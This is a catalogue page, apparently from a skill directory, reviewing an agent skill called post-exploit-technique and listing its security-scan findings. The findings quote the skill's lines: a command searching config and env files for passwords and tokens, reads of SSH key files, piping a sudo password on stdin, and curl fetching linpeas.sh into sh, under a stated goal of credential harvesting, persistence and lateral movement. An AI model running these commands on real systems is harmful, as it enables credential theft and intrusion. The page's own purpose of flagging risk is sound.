post-exploit-technique

post-exploit-technique is a skill for Claude Code, Codex from AeonDave/malskill. It costs 35 tokens per session (5,827 once invoked), scanned D, original, no licence file.

A guide for investigating a host after an authorized compromise, including shell access, local privilege-escalation checks, exposed secrets, and possible pivots. Privilege escalation means gaining more permissions than originally available.

In plain words
What is it for?
Use it to review shell state, look for paths to higher privileges, check for exposed credentials, plan movement to other systems, and record evidence.
Why use it?
It helps assess what an attacker could do after gaining access and keeps evidence organized during the investigation.

Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

Security

Grade D, and why

post-exploit-technique scanned grade D with 6 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 5d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Harvests environment variablesmediumData exfiltration

Enumerating or grepping the environment for keys collects credentials unrelated to what the mod says it does.

Goal: move from **low-privilege shell to full host control**, harvest credentials, establish persistence, and set up lateral movement — reproducibly and with minimal noise.

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Enumerates the file system for secretsmediumData exfiltration

Searching home directories for .env, .ssh, .aws or credential files is reconnaissance for credential theft.

find / -name "*.conf" -o -name "*.env" -o -name "*.cfg" 2>/dev/null | xargs grep -l "password\|passwd\|secret\|token" 2>/dev/null | head -20

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Asks for rootlowPrivilege escalation

A mod that escalates privileges can change anything on the machine, not only the project.

- **Answer prompts without the interactive loop.** `sudo -S` takes the password on stdin (`echo 'pw' | sudo -S -l`); `su`/ssh require a TTY — drive them from a tiny self-contained `pty.fork()` helper delivered via the pu

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Reaches for credential filesmediumPrivilege escalation

SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.

cat ~/.ssh/authorized_keys; ls ~/.ssh/

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Downloads and executes remote codemediumSupply chain

curl | sh runs whatever the server returns today, which is not necessarily what it returned when this was reviewed.

curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh # or upload and run

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

- **Transfer files by pull, not paste.** Pasting a large base64 blob into the shell corrupts (terminal/transport mangling — the same failure mode as a truncated inline config). Serve from your box and fetch on the target

post-exploit-technique is a skill published in the GitHub repository AeonDave/malskill (18 stars, last pushed 3d ago), with no licence file. It adds 35 tokens to every session and 5,827 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it D with 6 findings (harvests environment variables, enumerates the file system for secrets, asks for root). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
